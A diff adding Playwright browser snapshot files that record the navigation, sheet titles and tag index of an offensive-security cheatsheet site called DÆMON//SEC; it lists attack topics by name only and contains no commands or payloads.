+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f12e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f12e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f12e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f12e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f12e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-28-12-613Z.yml b/.playwright-mcp/page-2026-08-10T08-28-12-613Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f13e1]:
+  - banner [ref=f13e2]:
+    - generic [ref=f13e3]:
+      - link "DÆMON//SEC home" [ref=f13e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f13e5]: //
+        - text: SEC
+        - generic [ref=f13e6]: _
+      - navigation "Primary" [ref=f13e7]:
+        - link "01 Vault" [ref=f13e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f13e9]: "01"
+          - generic [ref=f13e10]: Vault
+        - link "02 Payloads" [ref=f13e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f13e12]: "02"
+          - generic [ref=f13e13]: Payloads
+        - link "03 Tags" [ref=f13e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f13e15]: "03"
+          - generic [ref=f13e16]: Tags
+        - link "04 Credits" [ref=f13e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f13e18]: "04"
+          - generic [ref=f13e19]: Credits
+      - generic [ref=f13e20]:
+        - button "Search cheatsheets" [ref=f13e21] [cursor=pointer]:
+          - generic [ref=f13e24]: Search
+          - generic [ref=f13e25]: /
+        - button "Toggle theme" [ref=f13e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f13e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f13e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f13e37]:
+    - generic [ref=f13e39]:
+      - generic [ref=f13e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f13e42]:
+          - generic [ref=f13e43]: D
+          - generic [ref=f13e44]: Γ†
+          - generic [ref=f13e45]: M
+          - generic [ref=f13e46]: O
+          - generic [ref=f13e47]: "N"
+        - paragraph [ref=f13e49]:
+          - generic [ref=f13e50]: The cheatsheet vault
+      - generic [ref=f13e52]:
+        - generic [ref=f13e53]:
+          - generic [ref=f13e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f13e55]
+          - paragraph [ref=f13e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f13e57]:
+            - button "Search the vault" [ref=f13e58] [cursor=pointer]
+            - link "Payloads" [ref=f13e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f13e66]:
+          - generic [ref=f13e67]:
+            - generic [ref=f13e68]:
+              - generic [ref=f13e69]: daemon@sec
+              - generic [ref=f13e70]: ~
+              - generic [ref=f13e71]: "%"
+              - generic [ref=f13e72]: whoami --vault
+            - generic [ref=f13e74]:
+              - term [ref=f13e75]: scope
+              - definition [ref=f13e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f13e77]: format
+              - definition [ref=f13e78]: Copy-ready commands, current tool flags
+              - term [ref=f13e79]: search
+              - definition [ref=f13e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f13e81]: license
+              - definition [ref=f13e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f13e83]:
+            - generic [ref=f13e84]:
+              - term [ref=f13e85]: Curated cheatsheets
+              - definition [ref=f13e86]:
+                - text: "-1"
+                - generic [ref=f13e87]: Curatedcheatsheets
+            - generic [ref=f13e88]:
+              - term [ref=f13e89]: Operator domains
+              - definition [ref=f13e90]:
+                - text: "00"
+                - generic [ref=f13e91]: Operatordomains
+            - generic [ref=f13e92]:
+              - term [ref=f13e93]: Mirrored payload pages
+              - definition [ref=f13e94]:
+                - text: "-1"
+                - generic [ref=f13e95]: Mirroredpayload pages
+    - region "Domains" [ref=f13e96]:
+      - generic [ref=f13e97]: "^: Index"
+      - generic [ref=f13e101]:
+        - generic [ref=f13e102]:
+          - generic [ref=f13e103]:
+            - generic [ref=f13e104]: "01"
+            - generic [ref=f13e105]: AD
+            - generic [ref=f13e109]: Active Directory
+            - generic [ref=f13e110]: 130 sheets
+          - generic [ref=f13e111]:
+            - generic [ref=f13e112]: "02"
+            - generic [ref=f13e113]: ENUM
+            - generic [ref=f13e117]: Enumeration
+            - generic [ref=f13e118]: 18 sheets
+          - generic [ref=f13e119]:
+            - generic [ref=f13e120]: "03"
+            - generic [ref=f13e121]: PWN
+            - generic [ref=f13e125]: Exploitation
+            - generic [ref=f13e126]: 7 sheets
+          - generic [ref=f13e127]:
+            - generic [ref=f13e128]: "04"
+            - generic [ref=f13e129]: PRIV
+            - generic [ref=f13e133]: Privilege Escalation
+            - generic [ref=f13e134]: 2 sheets
+          - generic [ref=f13e135]:
+            - generic [ref=f13e136]: "05"
+            - generic [ref=f13e137]: CRED
+            - generic [ref=f13e141]: Password Attacks
+            - generic [ref=f13e142]: 3 sheets
+          - generic [ref=f13e143]:
+            - generic [ref=f13e144]: "06"
+            - generic [ref=f13e145]: WEB
+            - generic [ref=f13e149]: Web
+            - generic [ref=f13e150]: 9 sheets
+          - generic [ref=f13e151]:
+            - generic [ref=f13e152]: "07"
+            - generic [ref=f13e153]: PIVOT
+            - generic [ref=f13e157]: Tunneling & Pivoting
+            - generic [ref=f13e158]: 6 sheets
+          - generic [ref=f13e159]:
+            - generic [ref=f13e160]: "08"
+            - generic [ref=f13e161]: CRYPTO
+            - generic [ref=f13e165]: Cryptography
+            - generic [ref=f13e166]: 3 sheets
+          - generic [ref=f13e167]:
+            - generic [ref=f13e168]: "09"
+            - generic [ref=f13e169]: DFIR
+            - generic [ref=f13e173]: DFIR
+            - generic [ref=f13e174]: 4 sheets
+          - generic [ref=f13e175]:
+            - generic [ref=f13e176]: "10"
+            - generic [ref=f13e177]: TOOL
+            - generic [ref=f13e181]: Tools
+            - generic [ref=f13e182]: 18 sheets
+          - generic [ref=f13e183]:
+            - generic [ref=f13e184]: "11"
+            - generic [ref=f13e185]: NIX
+            - generic [ref=f13e189]: Linux & IT
+            - generic [ref=f13e190]: 9 sheets
+          - generic [ref=f13e191]:
+            - generic [ref=f13e192]: "12"
+            - generic [ref=f13e193]: GIT
+            - generic [ref=f13e197]: Git & Workflow
+            - generic [ref=f13e198]: 5 sheets
+        - generic [ref=f13e199]:
+          - generic [ref=f13e200]:
+            - generic [ref=f13e201]: "01"
+            - generic [ref=f13e202]: AD
+            - generic [ref=f13e206]: Active Directory
+            - generic [ref=f13e207]: 130 sheets
+          - generic [ref=f13e208]:
+            - generic [ref=f13e209]: "02"
+            - generic [ref=f13e210]: ENUM
+            - generic [ref=f13e214]: Enumeration
+            - generic [ref=f13e215]: 18 sheets
+          - generic [ref=f13e216]:
+            - generic [ref=f13e217]: "03"
+            - generic [ref=f13e218]: PWN
+            - generic [ref=f13e222]: Exploitation
+            - generic [ref=f13e223]: 7 sheets
+          - generic [ref=f13e224]:
+            - generic [ref=f13e225]: "04"
+            - generic [ref=f13e226]: PRIV
+            - generic [ref=f13e230]: Privilege Escalation
+            - generic [ref=f13e231]: 2 sheets
+          - generic [ref=f13e232]:
+            - generic [ref=f13e233]: "05"
+            - generic [ref=f13e234]: CRED
+            - generic [ref=f13e238]: Password Attacks
+            - generic [ref=f13e239]: 3 sheets
+          - generic [ref=f13e240]:
+            - generic [ref=f13e241]: "06"
+            - generic [ref=f13e242]: WEB
+            - generic [ref=f13e246]: Web
+            - generic [ref=f13e247]: 9 sheets
+          - generic [ref=f13e248]:
+            - generic [ref=f13e249]: "07"
+            - generic [ref=f13e250]: PIVOT
+            - generic [ref=f13e254]: Tunneling & Pivoting
+            - generic [ref=f13e255]: 6 sheets
+          - generic [ref=f13e256]:
+            - generic [ref=f13e257]: "08"
+            - generic [ref=f13e258]: CRYPTO
+            - generic [ref=f13e262]: Cryptography
+            - generic [ref=f13e263]: 3 sheets
+          - generic [ref=f13e264]:
+            - generic [ref=f13e265]: "09"
+            - generic [ref=f13e266]: DFIR
+            - generic [ref=f13e270]: DFIR
+            - generic [ref=f13e271]: 4 sheets
+          - generic [ref=f13e272]:
+            - generic [ref=f13e273]: "10"
+            - generic [ref=f13e274]: TOOL
+            - generic [ref=f13e278]: Tools
+            - generic [ref=f13e279]: 18 sheets
+          - generic [ref=f13e280]:
+            - generic [ref=f13e281]: "11"
+            - generic [ref=f13e282]: NIX
+            - generic [ref=f13e286]: Linux & IT
+            - generic [ref=f13e287]: 9 sheets
+          - generic [ref=f13e288]:
+            - generic [ref=f13e289]: "12"
+            - generic [ref=f13e290]: GIT
+            - generic [ref=f13e294]: Git & Workflow
+            - generic [ref=f13e295]: 5 sheets
+      - generic [ref=f13e296]: 12 domains
+    - generic [ref=f13e298]:
+      - generic [ref=f13e300]:
+        - paragraph [ref=f13e301]:
+          - generic [ref=f13e302]: "01"
+          - generic [ref=f13e303]: "^:"
+          - generic [ref=f13e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f13e306]
+      - generic [ref=f13e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f13e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f13e309]:
+            - generic [ref=f13e310]: AD
+            - generic [ref=f13e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f13e312]
+          - paragraph [ref=f13e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f13e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f13e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f13e318]:
+            - generic [ref=f13e319]: ENUM
+            - generic [ref=f13e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f13e321]
+          - paragraph [ref=f13e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f13e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f13e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f13e327]:
+            - generic [ref=f13e328]: PWN
+            - generic [ref=f13e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f13e330]
+          - paragraph [ref=f13e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f13e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f13e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f13e336]:
+            - generic [ref=f13e337]: PRIV
+            - generic [ref=f13e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f13e339]
+          - paragraph [ref=f13e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f13e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f13e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f13e345]:
+            - generic [ref=f13e346]: CRED
+            - generic [ref=f13e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f13e348]
+          - paragraph [ref=f13e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f13e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f13e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f13e354]:
+            - generic [ref=f13e355]: WEB
+            - generic [ref=f13e356]: "06"
+          - heading "Web" [level=3] [ref=f13e357]
+          - paragraph [ref=f13e358]: XSS, injection, and web application testing.
+          - generic [ref=f13e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f13e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f13e363]:
+            - generic [ref=f13e364]: PIVOT
+            - generic [ref=f13e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f13e366]
+          - paragraph [ref=f13e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f13e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f13e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f13e372]:
+            - generic [ref=f13e373]: CRYPTO
+            - generic [ref=f13e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f13e375]
+          - paragraph [ref=f13e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f13e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f13e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f13e381]:
+            - generic [ref=f13e382]: DFIR
+            - generic [ref=f13e383]: "09"
+          - heading "DFIR" [level=3] [ref=f13e384]
+          - paragraph [ref=f13e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f13e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f13e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f13e390]:
+            - generic [ref=f13e391]: TOOL
+            - generic [ref=f13e392]: "10"
+          - heading "Tools" [level=3] [ref=f13e393]
+          - paragraph [ref=f13e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f13e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f13e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f13e399]:
+            - generic [ref=f13e400]: NIX
+            - generic [ref=f13e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f13e402]
+          - paragraph [ref=f13e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f13e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f13e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f13e408]:
+            - generic [ref=f13e409]: GIT
+            - generic [ref=f13e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f13e411]
+          - paragraph [ref=f13e412]: Version control and operator workflow.
+          - generic [ref=f13e413]: 5 sheets
+    - link [ref=f13e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f13e417]:
+        - generic [ref=f13e418]:
+          - paragraph [ref=f13e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f13e420]
+          - paragraph [ref=f13e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f13e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f13e423]: Browse payloads
+    - generic [ref=f13e427]:
+      - generic [ref=f13e428]:
+        - generic [ref=f13e429]:
+          - paragraph [ref=f13e430]:
+            - generic [ref=f13e431]: "03"
+            - generic [ref=f13e432]: "^:"
+            - generic [ref=f13e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f13e435]
+        - link "All tags" [ref=f13e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f13e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f13e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f13e441]:
+            - generic [ref=f13e442]: "01"
+            - generic [ref=f13e443]: ENUM
+            - generic [ref=f13e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f13e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f13e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f13e453]:
+            - generic [ref=f13e454]: "02"
+            - generic [ref=f13e455]: ENUM
+            - generic [ref=f13e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f13e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f13e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f13e465]:
+            - generic [ref=f13e466]: "03"
+            - generic [ref=f13e467]: AD
+            - generic [ref=f13e471]: Active-Directory_cheat_sheet
+            - generic [ref=f13e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f13e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f13e477]:
+            - generic [ref=f13e478]: "04"
+            - generic [ref=f13e479]: ENUM
+            - generic [ref=f13e483]: Anonymous Null Testing
+            - generic [ref=f13e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f13e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f13e489]:
+            - generic [ref=f13e490]: "05"
+            - generic [ref=f13e491]: AD
+            - generic [ref=f13e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f13e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f13e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f13e501]:
+            - generic [ref=f13e502]: "06"
+            - generic [ref=f13e503]: AD
+            - generic [ref=f13e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f13e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f13e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f13e513]:
+            - generic [ref=f13e514]: "07"
+            - generic [ref=f13e515]: AD
+            - generic [ref=f13e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f13e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f13e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f13e525]:
+            - generic [ref=f13e526]: "08"
+            - generic [ref=f13e527]: AD
+            - generic [ref=f13e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f13e532]: 2026-08-10
+  - contentinfo [ref=f13e536]:
+    - generic [ref=f13e537]:
+      - generic [ref=f13e538]:
+        - link "DÆMON // SEC" [ref=f13e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f13e540]: //
+          - text: SEC
+        - paragraph [ref=f13e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f13e542]:
+        - link "daemon-404.github.io β†—" [ref=f13e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f13e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f13e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f13e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f13e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f13e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f13e549]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-28-20-739Z.yml b/.playwright-mcp/page-2026-08-10T08-28-20-739Z.yml
@@ -0,0 +1,765 @@
+- generic [active] [ref=f13e550]:
+  - banner [ref=f13e551]:
+    - generic [ref=f13e552]:
+      - link "DÆMON//SEC home" [ref=f13e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f13e554]: //
+        - text: SEC
+        - generic [ref=f13e555]: _
+      - navigation "Primary" [ref=f13e556]:
+        - link "01 Vault" [ref=f13e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f13e558]: "01"
+          - generic [ref=f13e559]: Vault
+        - link "02 Payloads" [ref=f13e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f13e561]: "02"
+          - generic [ref=f13e562]: Payloads
+        - link "03 Tags" [ref=f13e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f13e564]: "03"
+          - generic [ref=f13e565]: Tags
+        - link "04 Credits" [ref=f13e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f13e567]: "04"
+          - generic [ref=f13e568]: Credits
+      - generic [ref=f13e569]:
+        - button "Search cheatsheets" [ref=f13e570] [cursor=pointer]:
+          - generic [ref=f13e573]: Search
+          - generic [ref=f13e574]: /
+        - button "Toggle theme" [ref=f13e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=f13e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f13e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f13e586]:
+    - generic [ref=f13e589]:
+      - generic [ref=f13e590]:
+        - paragraph [ref=f13e591]:
+          - generic [ref=f13e592]: "04"
+          - generic [ref=f13e593]: "^:"
+          - generic [ref=f13e594]: Cross-reference
+        - heading "Tags & Tools" [level=1] [ref=f13e596]
+        - paragraph [ref=f13e597]: Jump into the vault by topic or by the tool you're reaching for.
+      - generic [ref=f13e598]:
+        - generic [ref=f13e599]:
+          - term [ref=f13e600]: Tags
+          - definition [ref=f13e601]: "96"
+        - generic [ref=f13e602]:
+          - term [ref=f13e603]: Tools
+          - definition [ref=f13e604]: "95"
+    - generic [ref=f13e605]:
+      - navigation [ref=f13e606]:
+        - link "~" [ref=f13e607] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f13e608]: /
+        - generic [ref=f13e609]: index
+      - generic [ref=f13e610]:
+        - generic [ref=f13e612]:
+          - paragraph [ref=f13e613]:
+            - generic [ref=f13e614]: "01"
+            - generic [ref=f13e615]: "^:"
+            - generic [ref=f13e616]: 96 tags
+          - heading "By tag" [level=2] [ref=f13e617]
+        - generic [ref=f13e618]:
+          - link "active-directory 130" [ref=f13e619] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/active-directory
+            - text: active-directory
+            - generic [ref=f13e620]: "130"
+          - link "adcs 74" [ref=f13e621] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/adcs
+            - text: adcs
+            - generic [ref=f13e622]: "74"
+          - link "privilege-escalation 46" [ref=f13e623] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/privilege-escalation
+            - text: privilege-escalation
+            - generic [ref=f13e624]: "46"
+          - link "kerberos 45" [ref=f13e625] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/kerberos
+            - text: kerberos
+            - generic [ref=f13e626]: "45"
+          - link "hashing 32" [ref=f13e627] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashing
+            - text: hashing
+            - generic [ref=f13e628]: "32"
+          - link "credential-access 30" [ref=f13e629] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credential-access
+            - text: credential-access
+            - generic [ref=f13e630]: "30"
+          - link "enumeration 25" [ref=f13e631] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/enumeration
+            - text: enumeration
+            - generic [ref=f13e632]: "25"
+          - link "ntlm 20" [ref=f13e633] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ntlm
+            - text: ntlm
+            - generic [ref=f13e634]: "20"
+          - link "lateral-movement 15" [ref=f13e635] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lateral-movement
+            - text: lateral-movement
+            - generic [ref=f13e636]: "15"
+          - link "persistence 14" [ref=f13e637] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/persistence
+            - text: persistence
+            - generic [ref=f13e638]: "14"
+          - link "web 14" [ref=f13e639] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/web
+            - text: web
+            - generic [ref=f13e640]: "14"
+          - link "relay 12" [ref=f13e641] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/relay
+            - text: relay
+            - generic [ref=f13e642]: "12"
+          - link "delegation 11" [ref=f13e643] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/delegation
+            - text: delegation
+            - generic [ref=f13e644]: "11"
+          - link "sql-injection 11" [ref=f13e645] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/sql-injection
+            - text: sql-injection
+            - generic [ref=f13e646]: "11"
+          - link "tools 10" [ref=f13e647] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tools
+            - text: tools
+            - generic [ref=f13e648]: "10"
+          - link "post-exploitation 8" [ref=f13e649] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/post-exploitation
+            - text: post-exploitation
+            - generic [ref=f13e650]: "8"
+          - link "exploitation 7" [ref=f13e651] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/exploitation
+            - text: exploitation
+            - generic [ref=f13e652]: "7"
+          - link "pivoting 7" [ref=f13e653] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pivoting
+            - text: pivoting
+            - generic [ref=f13e654]: "7"
+          - link "linux 5" [ref=f13e655] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux
+            - text: linux
+            - generic [ref=f13e656]: "5"
+          - link "linux-it 5" [ref=f13e657] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux-it
+            - text: linux-it
+            - generic [ref=f13e658]: "5"
+          - link "tunneling 5" [ref=f13e659] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling
+            - text: tunneling
+            - generic [ref=f13e660]: "5"
+          - link "windows 5" [ref=f13e661] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/windows
+            - text: windows
+            - generic [ref=f13e662]: "5"
+          - link "credentials 4" [ref=f13e663] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credentials
+            - text: credentials
+            - generic [ref=f13e664]: "4"
+          - link "dfir 4" [ref=f13e665] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dfir
+            - text: dfir
+            - generic [ref=f13e666]: "4"
+          - link "xss 4" [ref=f13e667] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/xss
+            - text: xss
+            - generic [ref=f13e668]: "4"
+          - link "certificates 3" [ref=f13e669] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/certificates
+            - text: certificates
+            - generic [ref=f13e670]: "3"
+          - link "cracking 3" [ref=f13e671] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cracking
+            - text: cracking
+            - generic [ref=f13e672]: "3"
+          - link "cryptography 3" [ref=f13e673] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cryptography
+            - text: cryptography
+            - generic [ref=f13e674]: "3"
+          - link "git 3" [ref=f13e675] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git
+            - text: git
+            - generic [ref=f13e676]: "3"
+          - link "injection 3" [ref=f13e677] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/injection
+            - text: injection
+            - generic [ref=f13e678]: "3"
+          - link "network 3" [ref=f13e679] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network
+            - text: network
+            - generic [ref=f13e680]: "3"
+          - link "password-attacks 3" [ref=f13e681] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/password-attacks
+            - text: password-attacks
+            - generic [ref=f13e682]: "3"
+          - link "smb 3" [ref=f13e683] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/smb
+            - text: smb
+            - generic [ref=f13e684]: "3"
+          - link "tunneling-pivoting 3" [ref=f13e685] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling-pivoting
+            - text: tunneling-pivoting
+            - generic [ref=f13e686]: "3"
+          - link "workflow 3" [ref=f13e687] [cursor=pointer]:
